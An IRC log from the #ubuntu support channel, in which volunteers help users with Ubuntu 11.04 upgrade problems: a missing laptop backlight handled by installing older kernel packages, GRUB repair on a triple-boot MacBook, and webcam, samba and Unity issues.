[00:06] <Gnea> PaidSupport: Awesome, then let's begin!  What kind of laptop is it and what version of Ubuntuare you on?
[00:06] <PaidSupport> Gnea: Gateway NV78. Ran 10.10 with 2.6.35 for a few days, all was good. Upgraded to 11.04 with 2.6.38 and I no longer have a backlight
[00:06] <Chipzzz> ocx: try "apt-cache search sqlite3"... maybe you don't have the repo available
[00:06] <PaidSupport> Gnea: Did a reformat and reinstall from the iso (on CD). Same problems
[00:07] <guest___> Has anyone noticed how mouse clicks sometimes don't register in 11.04?
[00:08] <acicula> PaidSupport, can you adjust the backlight at all using the function keys?
[00:08] <jenkinSear> Lesterwood: try lanmap - http://www.parseerror.com/lanmap/
[00:08] <PaidSupport> Gnea: Nope. Only way I can see the screen at all is with a flashlight pointed at it
[00:09] <rcmaehl> !ot
[00:09] <ubottu> #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[00:09] <hiexpo> hehe did ya get some more batteries ?     :)
[00:09] <rcmaehl> ok
[00:09] <PaidSupport> acicula: Nope. Fn keys didn't work in 10.10 at all, but I had a backlight. After the upgrade I lose even that.
[00:09] <rcmaehl> just checking to see what the ubuntu ot channel was
[00:09] <sine_> has anyone installed ubuntu with an ASUS G53J gaming laptop
[00:09] <Jordan_U> PaidSupport: Can you see hte backlight while booted from the LiveCD?
[00:09] <Gnea> PaidSupport: I haven't tried 11.04 yet, but I'm willing to bet that there's something going on with it in the ACPI/Power Management settings... have you checked those?
[00:10] <rcmaehl> PaidSupport: did you install the package for FN key support
[00:10] <acicula> PaidSupport, are you saying the backlight is completely off, or just set really low
[00:10] <hiexpo> rcmaehl, #ubuntu-ot
[00:10] <acicula> PaidSupport, ie if its off you have to shine a light at your screen to make out anything at all
[00:10] <PaidSupport> acicula: I am positive the backlight is completly off. The only way to get it to work is with a nomodeset grub option, but that destroys my support for unity, and for anything over 1024x768
[00:11] <hiexpo> maybe in power management
[00:11] <PaidSupport> rcmaehl: I did not.
[00:11] <mjn> ok...so, slowly getting the of unity...
[00:12] <escott> PaidSupport, also check /sys/class/backlight to see if it is recognized at kernel level
[00:12] <mjn> not as bad a i thought
[00:12] <PaidSupport> escott: after upgrading to 11.04 I lose /sys/class/backlight   It isn't there
[00:12] <Jordan_U> PaidSupport: On nvidia hardware the nomodeset option should not change whether you can use Unity or not.
[00:12] <Gnea> rcmaehl: do you mean fnfxd?
[00:12] <escott> PaidSupport, well thats the real source of the trouble, can you boot the old kernel
[00:12] <PaidSupport> Jordan_U: Intel Mobile Express 4, not nvidia
[00:13] <Jordan_U> PaidSupport: Sorry, had you confused with someone else.
[00:13] <hiexpo> hola Jordan_U
[00:13] <Jordan_U> hiexpo: Hi.
[00:13] <PaidSupport> escott: after fresh installing I lost the old kernel. Only have 2.6.38 installed
[00:13] <ocx> i have put a process in sleep mode over ssh session1 , how can i take over the process over ssh session 2?
[00:13] <Jordan_U> PaidSupport: Can you see hte backlight while booted from the LiveCD?
[00:13] <ocx> i cant see the job in session2
[00:14] <escott> ocx, you would have to reparent the process, i don't think that is possible, you would have to have started it in something like screen
[00:14] <PaidSupport> Jordan_U: Haven't tried the liveCD. Though I do know it works with the alternate installer (up until I reboot). Lose backlight after grub
[00:14] <Gnea> PaidSupport: out of curiosity, is your name David?
[00:14] <PaidSupport> Gnea: Correct
[00:14] <Jordan_U> ocx: The only practical way to do that type of thing is to start the process in a screen session to begin with.
[00:14] <Jordan_U> !screen | ocx
[00:14] <ubottu> ocx: screen is a window manager for terminal sessions, also useful over SSH. See https://help.ubuntu.com/community/Screen
[00:14] <ocx> hmmmm
[00:14] <ocx> ok
[00:14] <Gnea> PaidSupport: then this must be you: https://answers.launchpad.net/ubuntu/+source/acpi/+question/154675
[00:14] <PaidSupport> Gnea: Also correct.
[00:15] <Chipzzz> ocx: I think "bg" should work
[00:15] <PaidSupport> Gnea: I know of two other NV78 laptop users with the same issue.
[00:16] <Gnea> PaidSupport: yeah, I'm seeing that...hrm...
[00:16] <Jaxxdrew> Is there a way to test unity from ubuntu iso disc?
[00:16] <PaidSupport> Gnea: I was really looking forward to migrating my network away from windows =\
[00:16]  * Gnea notes that actionparsnip tends to frequent this channel quite a bit
[00:17] <Gnea> PaidSupport: I'm sure you still can, but keep in mind that doing so on a brand new release is not always the wisest decision... I'm still using 10.04, if that tells you anything
[00:17] <escott> PaidSupport, the fact that there is nothing in /sys/class/backlight means you will never get the backlight through userspace, i would try force installing the old kernel
[00:17] <PaidSupport> escott: sadly, as a very new user, I would have no idea where to begin
[00:17] <Gnea> PaidSupport: I think escott maybe onto something there... do you still have the old kernels from the 10.10 install laying around?
[00:17] <escott> then you can see if there is maybe a module in lsmod on the old kernel not in the new kernel and going from there
[00:17] <ocx> i need a good pop connector for ubuntu any good ones?
[00:18] <PaidSupport> Gnea: I figured if I was going to learn it from scratch, I may as well do it with the newest version, as Unity looks awesome (from what I can see by flashlight)
[00:18] <Gnea> ocx: what's a 'pop connector'? please be specific.
[00:18] <Cairo|Mac> has anyone ever seen anything like this? It's kinda annoying...
[00:18] <Cairo|Mac> http://img233.imageshack.us/img233/8213/img3503a.jpg
[00:18] <escott> PaidSupport, i would download the .deb of the kernel from 10.10 and installing it directly
[00:18] <ocx> want to trigger my email server to download msg from google
[00:18] <Jaxxdrew> Why is the iso only in gnome is there a way to change to unity
[00:18] <PaidSupport> escott: would installing the 10.10 iso be the easiest way to do that?
[00:19] <Gnea> PaidSupport: No offense, but I think unity is pure crap. ;) but, we'll see what we can do to get it working right... it seems to be less of a unity issue than it does an X configuration issue
[00:19] <escott> PaidSupport, if you wanted to drop down to 10.10
[00:19] <escott> but it may be easier to just install the kernel
[00:19] <escott> PaidSupport, you had intel graphics?
[00:19] <jenkinSear> ocx: check out fetchmail
[00:19] <ocx> it does conflict with zimbra i think
[00:19] <PaidSupport> escott: intel graphics, yes. And sorry to be such a noob, but can unity run on the older kernel?
[00:19] <ocx> currently running zimbra
[00:20] <escott> PaidSupport, having intel graphics makes things easier
[00:20] <Gnea> PaidSupport: there's an easy way to check for the older kernel... when you reboot, bring up the grub menu before it boots the system and see how many are in the list
[00:20] <escott> Gnea, he did a fresh install so he doesn't have those anymore
[00:20] <PaidSupport> Exactly. Just 2.6.38 right now
[00:20] <escott> PaidSupport, 32bit or 64bit
[00:20] <PaidSupport> 64
[00:20] <Gnea> escott: ah okay, thought maybe he migrated.... it's about dinnertime :)
[00:20] <nukem> is ubuntu 1 cd distro or 1 dvd distro?
[00:21] <nawk> So unity is a shell for gnome, so what is the underlying/default WM in 11.04?
[00:21] <Gnea> nukem: yes
[00:21] <nukem> gnea it wasn't yes or no question
[00:21] <david8732> Nawk: compiz
[00:21] <Gnea> nukem: sure it was, yes to both
[00:21] <PaidSupport> escott: I have not tried installing from the 32 bit, though I have the CD. Would that change anything?
[00:21] <david8732> There's a 'unity plugin' for compiz installed.
[00:21] <nukem> gnea it can be only one or the other
[00:21] <chrome_> what are the hardware requirements for the unity?
[00:21] <Gnea> nukem: you can install ubuntu from a cd or a dvd, therefore it's both.
[00:21] <LjL> nukem: not really. a CD is offered, and a DVD is also offered.
[00:21] <escott> PaidSupport, no but you have to get the right kernel im trying to find a package for you
[00:22] <PaidSupport> escott: appreciate all the help
[00:22] <Jordan_U> nawk: Compiz.
[00:22] <kingofswords> newbie question: how do i disable compiz?
[00:22] <kingofswords> is it ccsm --disable
[00:22] <nukem> how big is ubuntu dvd  all 4.7 gigs?
[00:22] <Gnea> !compiz
[00:22] <ubottu> Compiz (compositing window manager), for a howto see http://help.ubuntu.com/community/CompositeManager and more help #compiz
[00:22] <Gnea> nukem: it's about 4.3 gigs
[00:23] <kingofswords> Gnea, thx
[00:23] <Gnea> kingofswords: cheers
[00:23] <nukem> gnea then what is  cd for
[00:23] <Gnea> nukem: putting it on a CD
[00:23] <donkeyinspace> when internet connection fail do i need to reconnect xchat?
[00:24] <escott> does anyone know where the actual ubuntu .debs are mirrored
[00:24] <Gnea> !mirror
[00:24] <ubottu> Ubuntu installation CDs can be downloaded from http://releases.ubuntu.com - Mirrors can be found at http://wiki.ubuntu.com/Mirrors - PLEASE use the !torrents to download !Natty, and help keeping the servers' load low!
[00:24] <WhitePelican> my webcam doesn't work with Skype but works with cheese, I'm running natty. any ideas?
[00:25] <jenkinSear> escott:http://kernel.ubuntu.com/~kernel-ppa/mainline/
[00:25] <Gnea> nukem: the difference is, of course, that there are less programs on 1 cd than there are on 1 dvd
[00:25] <FutileFreedom> Hello, I've been searching for a while on how to install Server 11.04 over the network and have turned up nothing. Could someone point me in the right direction?
[00:25] <Gnea> !netboot | FutileFreedom
[00:25] <ubottu> FutileFreedom: Ubuntu can be installed in lots of ways. Please see https://help.ubuntu.com/community/Installation for documentation. Problems during install? See https://wiki.ubuntu.com/CommonProblemsInstall - Don't want to use a CD? See http://tinyurl.com/3exghs - See also !automate
[00:26] <lcb> WhitePelican, just an idea. check if any other application using the camera is running, even if you closed; on skype test and configure it.
[00:26] <nawk> david8732, rats.  There is a reason why I ask.  B/c currently I have a multi-monitor using an nvidia card, due to current limitations I had to forgo compiz in order to get it working (as confirmed with the boys in #nvidia; it has to do with TwinView unable to support the rotation of individual screens)
[00:26] <WhitePelican> it works with Cheese
[00:27] <Gloopie>    b b
[00:27] <sweb> i have an old lap top sony ram 256, 1800 amd cpu .... wich ubuntu version good for that ?
[00:27] <hiexpo> nawk, what nvidia card you have?
[00:27] <WhitePelican> I close cheese and try the skype test
[00:27] <Ziber> nawk: If you can get used to that (connected cubes) its still useful, imho
[00:27] <Gnea> WhitePelican: okay, but have you verified that cheese it NOT running when you try to launch skype?
[00:27] <kingofswords> erm just disabled compiz now i have big black bar across bottom of screen
[00:27] <kingofswords> will it go when i re-enable it?
[00:27] <Gnea> kingofswords: then logout/login
[00:27] <WhitePelican> yes gnea
[00:28] <kingofswords> Gnea,  you mean reboot?
[00:28] <escott> jenkinSear, is the kernel-ppa going to be the same as what was released with 10.10, and do you know what else might need to be grabbed with the kernel?
[00:28] <Gnea> WhitePelican: what error do you get from skype, exactly? are you expecting it to auto-detect the camera?
[00:28] <acicula> sweb, xubuntu 10.04 perhaps, or something specially trimmed like lubuntu
[00:28] <Gnea> kingofswords: no, logout, then login again
[00:28] <david8732> I went into ccsm and screwed with compiz's settings. How do I get it so that Unity isnt crazy?
[00:28] <WhitePelican> i get no error, I just don't see anyhing on the test
[00:29] <sweb>  acicula, ubuntu netbook /
[00:29] <escott> PaidSupport, try downloading this: http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.36-rc8-maverick/linux-image-2.6.36-020636rc8-generic_2.6.36-020636rc8.201010150908_amd64.deb
[00:29] <sweb> ?
[00:29] <Gnea> WhitePelican: then check skype settings. where did you install skype from?
[00:29] <WhitePelican> yes I expect it to auto-detect the camera
[00:29] <jenkinSear> escott: sorry, not sure- but I'd expect that dpkg will trip up any dependencies
[00:29] <WhitePelican> medibuntu
[00:29] <WhitePelican> actually, check that
[00:29] <Gnea> WhitePelican: good answer (about medibuntu)
[00:29] <escott> jenkinSear, except we are planning to force install it...
[00:29] <WhitePelican> it was in the repoitory
[00:29] <PaidSupport> escott: ok, got that downloaded and copied to my linux partition. Is there a command to install it?
[00:29] <arand> escott: They'll need three packages rom mainline in total... right?
[00:29] <WhitePelican> so I guess it was from medibuntu
[00:29] <Gnea> WhitePelican: right, medibuntu becomes part of the repo
[00:29] <acicula> sweb, nah, ubuntu netbook is just normal ubuntu with a different gui, same minimum hardware reqs too
[00:30] <escott> well if you just apt-get install linux-image.*.deb that will install it
[00:30] <escott> hopefully
[00:30] <escott> :)
[00:30] <lcb> WhitePelican, try sudo dpkg-reconfigure skype_or_the_name_of_package
[00:30] <PaidSupport> escott: alrighty. Taking off to give this a shot.
[00:30] <escott> arand, im not sure, ive not actually forced down a kernel before
[00:30] <escott> he has intel graphics so that takes care of one potential problem
[00:30] <Gnea> sweb, acicula: netbook remix is a bit more than just a different gui, it's got some special modules for the kernel built to handle the hardware properly
[00:31] <jeffrash> Why can't Ubuntu keep Broadcom B43 support stable?
[00:31] <jeffrash> STA doesn't work in 11.04
[00:31] <acicula> Gnea, yes but thats not really relevant here, hes just wondering if it will use less ram, which it wont
[00:31] <arand> escott: Read the mainline kernel wiki, it is all described there, three packages are needed in total to install a new kernel..
[00:31] <lcb> WhitePelican, see first on System Monitor if chesse or butter or whatever uses cam is working... because if cheese detects skype should
[00:31] <Gnea> escott, PaidSupport: don't you mean dpkg -i?
[00:31] <jeffrash> It worked fine me both 10.x versions
[00:31] <PaidSupport> ?
[00:31] <WhitePelican> lcb, it works fine in cheese
[00:31] <arand> escott: Unless you are doing something out of the ordinary, of course.
[00:31] <WhitePelican> no issues
[00:31] <escott> arand, is kernel-ppa a different kernel than what is shipped?
[00:31] <ubyvtc> just fresh-installed 11.04: nouveau are useful for me and I need proprietary drivers from nvidia; blacklisted nouveau module, installed nvidia-current, There is no more "nvidia-xconfig"... Help please
[00:32] <lcb> WhitePelican, ok, but goto system monitor and see... or logout and login
[00:32] <escott> just want to try forcing his natty kernel back to maverick to see if his backlight comes back
[00:32] <Gnea> acicula: good point, but using remix on an actual netbook may mean the difference between the system working out-of-the-box and not having everything working
[00:32] <Jordan_U> escott: Yes. The mainline kernel ppa contains no Ubuntu specific patches.
[00:32] <arand> escott: Well, I assume so, since that would be the whole point..
[00:32] <escott> PaidSupport, if you are still there then lets download something different :)
[00:32] <WhitePelican> I ran reconfigure as suggested and nothing happened. what next?
[00:32] <Jordan_U> arand: See my answer to escott above.
[00:32] <PaidSupport> escott: I'm still here
[00:33] <kingofswords> Gnea, didnt work but i was only installing wine so enabled it and everythings ok
[00:33] <lcb> WhitePelican, read above the suggestions :p
[00:33] <Gnea> kingofswords: okay
[00:33] <acicula> Gnea, didnt they drop the netbook edition altogheter as of 11.04?
[00:33] <arand> Jordan_U: Right, I wasn't sure if that was the case for all versions there.
[00:33] <Gnea> acicula: no idea, it'd be a silly move if they did
[00:34] <escott> PaidSupport, there is a kernel ppa team that provides a mainline kernel (no patches) and we should try that but using the natty version so we need three things apparently im reading here https://wiki.ubuntu.com/KernelTeam
[00:34] <Gnea> acicula: which wouldn't be surprising, they did go all-in with unity
[00:34] <ubyvtc> NVIDIA-XCONFIG help---> just fresh-installed 11.04: nouveau are useful for me and I need proprietary drivers from nvidia; blacklisted nouveau module, installed nvidia-current, There is no more "nvidia-xconfig"... Help please
[00:34] <Jordan_U> Gnea: They did as Ubuntu Desktop now uses Unity, which is what made netbook edition unique.
[00:34] <PaidSupport> escott: If you can get me prepared, I'll test anything.
[00:35] <pericynthion> Hi all - got a problem with 11.04 on a MacBook, is this a good place to ask for support?
[00:35] <Jordan_U> pericynthion: Yes.
[00:35] <escott> arand, Jordan_U would you recommend just adding the kernel-ppa as a ppa?
[00:35] <Gnea> acicula, Jordan_U: on the download page, I'm seeing ubuntu-11.04-netbook-i386.iso.torrent
[00:35] <nawk> david8732, so, is there a way for me to (a) disable unity (b) choose a different WM for unity (i.e. will unity work if compiz is not the chosen wm)
[00:35] <nawk> hiexpo, gtx295, but I don't think it makes a difference
[00:35] <nawk> Ziber: are you saying Unity will work with compiz disabled?
[00:35] <Gnea> acicula, Jordan_U: http://www.ubuntu.com/download/ubuntu/alternative-download
[00:35] <nawk> Ziber,  I am downloading natty narwhal now, and if it's going to be a pain in the *, then I guess I'll go with status quo
[00:35] <nawk> w/with/& the/
[00:35] <FloodBot3> nawk: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:35] <Jordan_U> escott: It's not a real PPA, it can't be added as such.
[00:36] <ubyvtc> NVIDIA-XCONFIG help---> just fresh-installed 11.04: nouveau are useful for me and I need proprietary drivers from nvidia; blacklisted nouveau module, installed nvidia-current, There is no more "nvidia-xconfig"... Help please
[00:36] <pericynthion> Summary: I was triple-booting OSX/Win7/Ubuntu 10.10 using rEFIt, and all was working pretty well.  I did a distribution upgrade to 11.04, and now only OS X will boot.  Choosing anything else from rEFIt gives a black screen with blinking cursor.
[00:36] <Jordan_U> Gnea: Try clicking on the link :)
[00:37] <escott> PaidSupport, then lets delete the previous download and download these instead
[00:37] <escott> http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.39-rc4-natty/linux-image-2.6.39-020639rc4-generic_2.6.39-020639rc4.201104191410_amd64.deb
[00:37] <pericynthion> I've tried: reinstalling rEFIt, booting from livecd and reinstalling grub2, neither of which helped.  To even get it to boot from the live cd I had to choose acpi=off
[00:37] <Jordan_U> Gnea: That page should definitely be fixed though. Could you file a bug report?
[00:37] <escott> http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.39-rc4-natty/linux-headers-2.6.39-020639rc4-generic_2.6.39-020639rc4.201104191410_amd64.deb
[00:37] <ubyvtc> NVIDIA-XCONFIG help---> just fresh-installed 11.04: nouveau are useful for me and I need proprietary drivers from nvidia; blacklisted nouveau module, installed nvidia-current, There is no more "nvidia-xconfig"... Help please
[00:37] <escott> http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.39-rc4-natty/linux-headers-2.6.39-020639rc4_2.6.39-020639rc4.201104191410_all.deb
[00:37] <Jordan_U> pericynthion: Did you install grub to the mbr?
[00:37] <nykc> exit
[00:37] <nykc> quit
[00:37] <pericynthion> Jordan_U: I'm not sure. How do I tell?
[00:38] <Jordan_U> pericynthion: How did you re-install grub2?
[00:38] <PaidSupport> escott: Ok, have those all downloaded
[00:38] <escott> and then you can dpkg -i them
[00:38] <PaidSupport> so just type that in terminal when I'm in the right folder?
[00:39] <escott> PaidSupport, yes (but with sudo)
[00:39] <PaidSupport> can do
[00:39] <nawk> just one simple question, will unity work properly w/o compiz?  (Or can I have a convenient way of disabling unity after install)?
[00:39] <pericynthion> Jordan_U: I mounted /dev/sda1, which is the ~200MB EFI partitition, to /mnt/root and /dev/sda5, which is the linux root partition, to /mnt, and then did grub-install —boot-partition=/mnt/root /dev/sda
[00:39] <Stameni> when i minimize geany *python IDE* it disapears somwhere and i can't get my project back, when i click on louncher in unity=s toolbar it just starts me new geany/ How to bring back geany that disapeared from backgraund ?
[00:39] <hiexpo> nawk, check and see if your card is supported   https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[00:39] <Stameni> ubuntu 11.04
[00:40] <pericynthion> Jordan_U: first time I tried that it complained about lack of a bios partition, or something along those lines involving blocklists, so I marked sda1 as grub/bios using gparted and then it installed
[00:40] <pericynthion> but no change in boot symptoms
[00:40] <lcb> nawk, or use Classic Desktop
[00:40] <hiexpo> nawk, i think it is
[00:41] <Jordan_U> pericynthion: Do not mark a partition as being a BIOS boot partition unless you want any data on that partition to be destroyed.
[00:41] <yunio> Does anyone know of a linux distro that has a better caps lock reaction time??
[00:41] <escott> PaidSupport, when that is done try grep 2.6.39 /boot/grub/grub.cfg and see if the kernel is listed there. if not we need to run grub-mkconfig
[00:41] <Stameni> when i minimize geany *python IDE* it disapears somwhere and i can't get my project back, when i click on louncher in unity=s toolbar it just starts me new geany/ How to bring back geany that disapeared from backgraund ?
[00:41] <nukem> is it possible to enable/disable identd on user base  meaning  user1 = disable identd   user2 = enable identd on same box
[00:41] <Stameni> please, i need to save my work
[00:41] <pericynthion> ok - oops, I guess.  I don't think anything important was on there, AFAIK it is just for EFI firmware updates
[00:42] <mikeconcepts> I just want to say thanks for a great distro 11.04 is awesome
[00:42] <pericynthion> should I have used a different grub-install command?
[00:42] <AMAG> Is there a version of that nvidia FAQ which applies to 11.04?  I upgraded from 10.10 and I am having nothing but trouble.
[00:43] <hiexpo> AMAG, see this https://help.ubuntu.com/community/BinaryDriverHowto/Nvidia
[00:43] <AMAG> hiexpo:I just read that, but I don't see an 11.04 section
[00:43] <Jordan_U> pericynthion: 1: Don't mount the EFI partition at all, we're not dealing with EFI in this case 2: grub-install --boot-directory=/mnt/boot/ /dev/sda
[00:43] <hiexpo> AMAG, it does not matter click to see if your cardis in there
[00:44] <Jordan_U> pericynthion: You probably want to create a separate small partition for the BIOS boot partition though so that firmware upgrades still work.
[00:44] <AMAG> My card worked fine with 10.10.  What I have now is that the driver is "green" or activated under Alternative Drivers (?) but that tool says "..is activated, but is not currently being used."
[00:44] <hiexpo> AMAG, it takes you to nvidia site
[00:45] <Chilaquiles> Does someone knows in what directory are the iso images mounted in ubuntu?
[00:45] <toad__> wtf
[00:46] <toad__> why does ubuntu 10.04 always log out?
[00:46] <Gnea> Chilaquiles: there's no concrete answer to that
[00:46] <toad__> after like 30min?
[00:46] <toad__> itboots me to the login screen
[00:46] <toad__> closing all apps
[00:46] <toad__> etc...
[00:46] <toad__> :(
[00:46] <FloodBot3> toad__: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:46] <Gnea> toad__: never had that happen...
[00:46] <toad__> I cant find anything anywhere in the control panals
[00:46] <Chilaquiles> Gnea: what?
[00:46] <pericynthion> Jordan_U: ok, if I create such a small partitition should I mount that into /mnt/boot before issuing that grub-install command?
[00:46] <toad__> or settings
[00:46] <Stameni> when i minimize geany *python IDE* it disapears somwhere and i can't get my project back, when i click on louncher in unity=s toolbar it just starts me new geany/ How to bring back geany that disapeared from backgraund ?
[00:46] <abadadon> toad__: I'm using 10.04, never had that problem. :(
[00:46] <Jordan_U> pericynthion: No.
[00:46] <Stameni> i can see it in system monitor, hot to bring it back on desktop ?
[00:47] <Jordan_U> pericynthion: The BIOS boot partition does not contain a filesystem, it cannot be mounted.
[00:47] <pericynthion> ok
[00:47] <drc> AMAG: Check /var/log/Xorg.0.log to see what driver is actually being loaded and used...it's probably the correct nvidia driver...the "not being used" is not unusual in 11.04
[00:47] <toad__> well
[00:47] <toad__> what the shit
[00:47] <toad__> its so annoying
[00:47] <jenkinSear> toad__: check your screensavers setting, make sure "lock screen when screensaver is active" isn't checked
[00:47] <FloodBot3> toad__: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:47] <pericynthion> so /mnt/boot will exist as a part of my main root partition?
[00:47] <toad__> cause it closes everything
[00:47] <Jordan_U> pericynthion: Yes.
[00:47] <toad__> :(
[00:47] <pericynthion> ok, thanks.  I'll try that.
[00:48] <Chilaquiles> Does someone knows in what directory are the iso images mounted in ubuntu?
[00:48] <mr_orange> I have installed 11.04 on my desktop along side windows 7 and when i try to boot up ubuntu it just sits on a blank screen and does nothing. Can anyone tell me my problem
[00:48] <pericynthion> back in 15 mins or so (no wifi support on the livecd)
[00:49] <diglett> Hi all, I have a quick network question, I've got a wireless connection that I use for internet and an ethernet connection that I have connected to another router for an ftp server. Problem is, i can only connect to one at a time because all my traffic gets defaulted to the ethernet connection, which doesn't lead anywhere. Is there a way to bind certain applications to a specific network connection?
[00:49] <HyperShock> Stameni: hit super + w, then click on it
[00:49] <nibblyn> Hi! While installing Natty final, custom partitioning, the box for setting the mount point only gives options and it is NOT possible to set custom mount points. Confirmed? Quite annoying... How to rename "/dos" after install? [http://ubuntuforums.org/showthread.php?p=10752998]
[00:49] <Stameni> HyperShock, what is "super" ?
[00:49] <HyperShock> Stameni: (windows key)
[00:49] <acicula> diglett, you can set routing options under network preferences
[00:49] <escott> diglett, man route
[00:50] <nawk> Jordan_U, what is a "BIOS boot partition"?
[00:50] <tjiggi_fo> Chilaquiles, which iso images?
[00:50] <Stameni> HyperShock, i don't see it that way
[00:50] <acicula> right click the network applet and then select edit connections, then find your connection and edit it. it should have a tab where you can edit routes
[00:50] <Stameni> HyperShock, it is like when some aplication go in system tray that is no more in unity
[00:50] <HyperShock> Stameni: oh, hmm
[00:50] <Stameni> HyperShock, and now i can;t pick it up and save my work
[00:51] <Hoyt> hi , anyone tried ubuntu dvd ? does it support LVM during installation
[00:51] <Lomion> Hey...I was wondering if anyone has had panel applets crash when using Gnome in Ubuntu 11.04
[00:51] <escott> Stameni, you can't alt-tab to it
[00:51] <Developr> Hey can someone here help me setup a daemon process on my server? Not quite sure how to do it ><
[00:51] <Chilaquiles> tjiggi_fo: any *.ISO image
[00:51] <HyperShock> Stameni: is it not listed in the unity bar anywhere?
[00:51] <Lomion> If so, does anyone know how to correct it?
[00:51] <acicula> Hoyt, alernative installer supports lvm
[00:51] <tjiggi_fo> Chilaquiles, downloads
[00:51] <Jordan_U> nawk: It is a partition where grub's core.img can be embedded on GPT partition tables. On msdos partition tables grub embeds itself between the mbr and first partition. Since no such gap exists with GPT, and since partitions are pretty much free with GPT, a partition is used instead.
[00:51] <litropy> I'm considering installing medibuntu on top of my existing Natty. Is this action typically a problematic process?
[00:51] <HyperShock> Stameni: like with a white right pointing triangle next to it
[00:51] <mr_orange> I have installed 11.04 on my desktop along side windows 7 and when i try to boot up ubuntu it just sits on a blank screen and goes into sleep mode. Can anyone tell me my problem?
[00:51] <HyperShock> Stameni: also what shows up when you run geany again?
[00:52] <Chilaquiles> tjiggi_fo: is not there
[00:52] <Jordan_U> nawk: The important part about the embedding area is that it won't move or be overwritten.
[00:52] <Stameni> HyperShock, escott its not in unity bar, when i click on new geany it just open new geany
[00:52] <tjiggi_fo> Chilaquiles, is it an iso file you downloaded?
[00:52] <Stameni> escott, i can't alt-tab it
[00:52] <Hoyt> acicula: i'll try
[00:52] <escott> Stameni, i know but can you alt-tab
[00:52] <Chilaquiles> tjiggi_fo: yeah
[00:52] <PaidSupport> escott: You still around?
[00:53] <HyperShock> Stameni: what did you do to make it disappear, i'm going to duplicate it and see if i can get it back
[00:53] <Cairo|Mac> :D
[00:53] <escott> PaidSupport, yes no success?
[00:53] <fisix> wow so i updated to the narwhal, but reverted to classic cus it's balls. the network manager applet isn't working..
[00:53] <Cairo|Mac> i got it to boot to the text screen properly :D
[00:53] <dijonyummy> how can i tell if i installed the beta vs the release version of 11.04?  when i do a "about unbuntu" does the beta display "beta"?
[00:53] <Stameni> HyperShock, just hit the "_" minimize button
[00:53] <PaidSupport> escott: The install went flawlessly. Upgraded to 2.6.39. Still no backlight
[00:53] <mr_orange> I have installed 11.04 on my desktop along side windows 7 and when i try to boot up ubuntu it just sits on a blank screen and goes into sleep mode. Can anyone tell me my problem?
[00:53] <Cairo|Mac> but does anyone know what causes this?
[00:53] <Cairo|Mac> http://img204.imageshack.us/img204/9931/img3504o.jpg
[00:53] <Chipzzz> mr_orange: one possibility is that the grub parameters are wrong
[00:53] <Cairo|Mac> or rather how to fix it
[00:53] <PaidSupport> escott: saved the output from everything I did in case it was important
[00:53] <mr_orange> Chipzzz, how do i fix that or check that
[00:53] <escott> PaidSupport, well at least we know its not correct in the most recent upstream kernel
[00:53] <tjiggi_fo> then, if you downloaded it as "your_user_name" it should be in the downloads folder of your home directory
[00:54] <PaidSupport> escott: That's one more solution tried
[00:54] <escott> PaidSupport, you could try any of these upstream kernels http://kernel.ubuntu.com/~kernel-ppa/mainline/
[00:54] <Gnea> Cairo|Mac: looks like PAM became foobared... is that a new install?
[00:54] <nawk> Jordan_U thanks, b/c I've never worked with GPT, I've always stick to the good ol MSDOS partition table
[00:54] <acicula> Cairo|Mac, if i had to guess it looks like the smb configuration file is corrupt
[00:54] <Stameni> HyperShock, it's over, my work is gonne, there is no more geany process in the system monitor :/ ... i don't know what happend
[00:54] <escott> PaidSupport, the same process, download the debs, install them, maybe run grub-mkconfig
[00:54] <Cairo|Mac> Gnea: no i was an upgrade
[00:54] <Cairo|Mac> acicula: any idea on how i would fix that?
[00:55] <Gnea> Cairo|Mac: okay, so is this a fresh upgrade from 10.10 to 11.04?
[00:55] <Cairo|Mac> eys
[00:55] <Cairo|Mac> *yes
[00:55] <Jordan_U> nawk: You're welcome.
[00:55] <Cairo|Mac> though the upgrades never worked properly for me
[00:55] <Cairo|Mac> they always killed my computer in some way
[00:55] <tjiggi_fo> Chilaquiles, you can search for it. Go to Applications, Accessories, Search for Files
[00:55] <escott> PaidSupport, im trying to find the debs from maverick, you could get them off the cd perhaps, but im not sure how the mirrors store stuff
[00:55] <Chilaquiles> tjiggi_fo: I already did thats why im here
[00:55] <Gnea> acicula: my guess is that the problem isn't with samba, since it got the green light when it started
[00:55] <Cairo|Mac> this is the latest
[00:55] <Cairo|Mac> http://img233.imageshack.us/i/img3503a.jpg/
[00:55] <escott> PaidSupport, since you know those work I would try them next
[00:56] <PaidSupport> escott: so back to 2.6.35?
[00:56] <escott> its going to be 2.6.37 right?
[00:56] <tjiggi_fo> Chilaquiles, then sorry, but I can't help
[00:56] <escott> i dont remember
[00:56] <acicula> Gnea, it may be that it green lights, but those keywords look like they came from smb.conf
[00:56] <PaidSupport> escott: could be 37, not sure. I know 10.10 was running 35 I think
[00:56] <escott> ok 35 then
[00:57] <Gnea> acicula: it's possible
[00:57] <acicula> Cairo|Mac, try purging samba and then installing samba again?
[00:57] <Cairo|Mac> apt-get purge samba4
[00:57] <Chipzzz> mr_orange: here's something that might help: http://ubuntuforums.org/showthread.php?t=1169670
[00:57] <Cairo|Mac> apt-get install samba4
[00:57] <Cairo|Mac> ?
[00:57] <acicula> both
[00:57] <Cairo|Mac> ok
[00:57] <Cairo|Mac> thanks
[00:58] <PaidSupport> escott: Alrighty. Downloading the three for .35. I'll give that a shot.
[00:58] <acicula> think the default aready is samba 4 so shouldnt have to specify that or
[00:58] <escott> PaidSupport, i think this is the most recent http://packages.ubuntu.com/maverick-updates/linux-image-2.6.35-28-generic
[00:58] <Cairo|Mac> acicula: jsut so you know, samba4 has some problem upgrading when i upgraded to 11.04
[00:58] <Cairo|Mac> that's probably the cause
[00:59] <escott> PaidSupport, and you will want the matching headers
[00:59] <HyperShock> Stameni: you mean to tell me that you did like hours of work with out making any incremental saves?
[00:59] <acicula> Cairo|Mac, are you sure it did not just prompt you as to what it should do with the configuration file?
